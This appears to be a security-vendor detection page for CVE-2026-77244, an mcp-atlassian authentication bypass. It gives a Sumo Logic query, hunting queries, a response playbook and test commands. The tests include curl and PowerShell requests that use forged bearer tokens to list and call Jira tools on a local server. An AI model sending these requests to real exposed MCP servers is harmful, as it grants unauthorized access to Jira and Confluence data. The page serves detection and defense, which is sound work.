CVE-2026-77244 Sumo Logic CSE · Sumo

Detect mcp-atlassian HTTP Transport Authentication Bypass (CVE-2026-77244) in Sumo Logic CSE

Detects exploitation and exposure of CVE-2026-77244, a critical (CVSS 10.0) authentication bypass in the mcp-atlassian MCP server. Versions < 0.22.0 use an AtlassianOpaqueTokenVerifier that accepts ANY non-empty bearer token as valid, granting unauthenticated attackers full access to the MCP server's Atlassian tools (Jira/Confluence read/write) over the HTTP transport (streamable-http / SSE). Detection focuses on anomalous or forged Authorization bearer tokens reaching the mcp-atlassian HTTP endpoint, successful tool invocations from unexpected sources, and identification of vulnerable server versions.

MITRE ATT&CK

Tactic
Initial Access Credential Access

Sumo Detection Query

Sumo Logic CSE (Sumo)
sql 
_sourceCategory=web/access ("/mcp" OR "/sse" OR "/messages")
| parse regex "(?<method>\w+)\s+(?<uri>\S+)\s+HTTP" nodrop
| parse regex "[Aa]uthorization:\s*Bearer\s+(?<token>\S+)" nodrop
| where !isBlank(token)
| length(token) as token_len
| if (token matches "*.*.*", 1, 0) as is_jwt
| where token_len < 40 or is_jwt = 0
| count as req_count, values(token) by src_ip, uri, user_agent
| where req_count > 0
critical severity medium confidence

Sumo Logic search detecting short/non-JWT bearer tokens sent to the mcp-atlassian HTTP endpoint.

Data Sources

Web Server Access LogsReverse Proxy Logs

Required Tables

web/access

False Positives & Tuning

  • Monitoring placeholder tokens.
  • Internal static service tokens in trusted setups.
  • Load balancer synthetic checks.

Other platforms for CVE-2026-77244

Microsoft Sentinel (KQL) Splunk (SPL) Elastic Security (Elastic) IBM QRadar (QRadar) Google Chronicle (YARA-L) CrowdStrike LogScale (LogScale) All platforms (combined) →

Testing Methodology

Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1Authentication bypass with arbitrary bearer token (curl)

    Expected signal: Web/proxy access log entry: POST /mcp with 'Authorization: Bearer not_a_real_token' from 127.0.0.1, HTTP 200.

  2. Test 2Empty vs non-empty token verification (bash)

    Expected signal: Two access log entries to /mcp: one with an empty bearer token (rejected) and one with 'Bearer x' (accepted, 200).

  3. Test 3Forged token tool invocation via SSE transport (powershell)

    Expected signal: Access log entry: POST /sse with 'Authorization: Bearer forged123', followed by an mcp-atlassian app-log entry recording a jira_search tool call.

Last updated: 2026-09-24 Research depth: standard
References (6)

Response Playbook

Triage

  1. Confirm the mcp-atlassian version running on the affected host: check the installed package with `pip show mcp-atlassian` or inspect the container image tag. Any version < 0.22.0 is vulnerable.
  2. Determine whether the HTTP transport (streamable-http or SSE) is exposed rather than stdio. Only the HTTP transport reaches AtlassianOpaqueTokenVerifier; stdio deployments are not affected by this CVE.
  3. Review the bearer tokens observed in the alerting requests. Compare them against known-good Atlassian OAuth token formats (long opaque or JWT). Short, random, or obviously placeholder tokens (e.g. 'test', 'x') indicate exploitation of the bypass.
  4. Correlate the source IP of the suspicious requests with expected MCP client hosts. Requests from unexpected external or internal IPs against the MCP endpoint are high-priority.

Containment

  1. Immediately upgrade mcp-atlassian to >= 0.22.0, which replaces the permissive verifier with proper token validation (PR #1448 / commit b0417334).
  2. If an immediate upgrade is not possible, restrict network access to the MCP HTTP transport port (e.g. 8000/9000) to only trusted MCP client IPs via firewall/security group, or place the endpoint behind an authenticating reverse proxy.
  3. Rotate any Atlassian API tokens/OAuth credentials configured in the MCP server, as an attacker with tool access may have exfiltrated or abused them.

Evidence Collection

  1. Capture web server / reverse proxy access logs for the MCP endpoint, including full Authorization headers, source IPs, timestamps and requested tool/method names.
  2. Preserve the mcp-atlassian application logs and any MCP session transcripts showing tool invocations (Jira/Confluence read/write calls) attributable to the suspicious tokens.
  3. Snapshot the running container/host and record the exact installed mcp-atlassian version and configuration (transport mode, auth settings).

Escalation Criteria

  • !Escalate to incident response if requests with forged tokens returned successful (2xx) responses AND resulted in Jira/Confluence tool invocations, indicating actual data access.
  • !Escalate if the source IP is external/untrusted or if evidence shows enumeration or bulk read of Confluence/Jira content following the authentication bypass.

Investigation Guide

Related Techniques

[object Object][object Object][object Object]

Forensic Artifacts

  • >Web/proxy access logs showing Authorization: Bearer headers with anomalous tokens against the MCP endpoint.
  • >mcp-atlassian application logs recording accepted sessions and tool calls.
  • >Installed package metadata (pip/site-packages or container image tag) proving version < 0.22.0.

Tuning Guidance

Tune the token-length and JWT-shape heuristics to your environment's legitimate token format. If your trusted MCP clients use long opaque service tokens, raise the length threshold and rely on source-IP allowlisting instead. Whitelist known monitoring/health-check source IPs and their placeholder tokens to suppress benign noise. In stdio-only deployments this HTTP detection will produce no events and can be scoped out.

Hunting Queries

Baseline all clients and status codes hitting the MCP HTTP transport to identify unexpected sources and successful bypass attempts.

Hunting — KQL
kql 
W3CIISLog | where csUriStem has_any ("/mcp", "/sse", "/messages") | extend AuthHeader = tostring(parse_json(tostring(customFields)).Authorization) | where AuthHeader startswith "Bearer " | summarize count() by cIP, csUriStem, scStatus, bin(TimeGenerated, 1d)
Hunting — SPL
spl 
index=web (uri_path="/mcp" OR uri_path="/sse" OR uri_path="/messages") | stats count values(status) by src_ip uri_path

Atomic Red Team Tests

Test 1 Authentication bypass with arbitrary bearer token (curl)
linux

Sends an MCP initialize request to a vulnerable mcp-atlassian HTTP transport using a garbage bearer token that the verifier should reject but accepts.

Command

bash 
curl -s -X POST http://127.0.0.1:8000/mcp -H 'Authorization: Bearer not_a_real_token' -H 'Content-Type: application/json' -d '{"jsonrpc":"2.0","id":1,"method":"tools/list","params":{}}'

Cleanup

bash 
unset AUTH_TEST 2>/dev/null; true

Expected Telemetry

Web/proxy access log entry: POST /mcp with 'Authorization: Bearer not_a_real_token' from 127.0.0.1, HTTP 200.

Expected Detection

KQL/SPL/EQL rules fire on the short non-JWT bearer token reaching the /mcp endpoint.

Test 2 Empty vs non-empty token verification (bash)
linux

Demonstrates the verifier logic flaw: empty token is rejected, any non-empty token is accepted. Sends both to compare responses.

Command

bash 
curl -s -o /dev/null -w 'empty:%{http_code}\n' -X POST http://127.0.0.1:8000/mcp -H 'Authorization: Bearer ' -d '{}'; curl -s -o /dev/null -w 'nonempty:%{http_code}\n' -X POST http://127.0.0.1:8000/mcp -H 'Authorization: Bearer x' -d '{"jsonrpc":"2.0","id":1,"method":"tools/list"}'

Cleanup

bash 
true

Expected Telemetry

Two access log entries to /mcp: one with an empty bearer token (rejected) and one with 'Bearer x' (accepted, 200).

Expected Detection

Detection matches the 'Bearer x' request as a short non-JWT token; empty-token request may be filtered by the isnotempty check.

Test 3 Forged token tool invocation via SSE transport (powershell)
windows

Uses a forged bearer token against the SSE transport endpoint to invoke a Jira tool, simulating post-bypass data access.

Command

powershell 
Invoke-WebRequest -Uri 'http://127.0.0.1:8000/sse' -Method POST -Headers @{ 'Authorization' = 'Bearer forged123'; 'Content-Type' = 'application/json' } -Body '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"jira_search","arguments":{"jql":"project=TEST"}}}' -UseBasicParsing

Cleanup

powershell 
Remove-Variable forged -ErrorAction SilentlyContinue

Expected Telemetry

Access log entry: POST /sse with 'Authorization: Bearer forged123', followed by an mcp-atlassian app-log entry recording a jira_search tool call.

Expected Detection

Detection fires on the short non-JWT bearer token to the /sse endpoint; correlated app logs show the subsequent tool invocation.

Related Detections

Tactic Hubs

TA0001Initial AccessTA0006Credential Access

Related Techniques

T1190Exploit Public-Facing ApplicationT1078Valid AccountsT1213Data from Information Repositories

Same Tactic: Initial Access

Popular Detections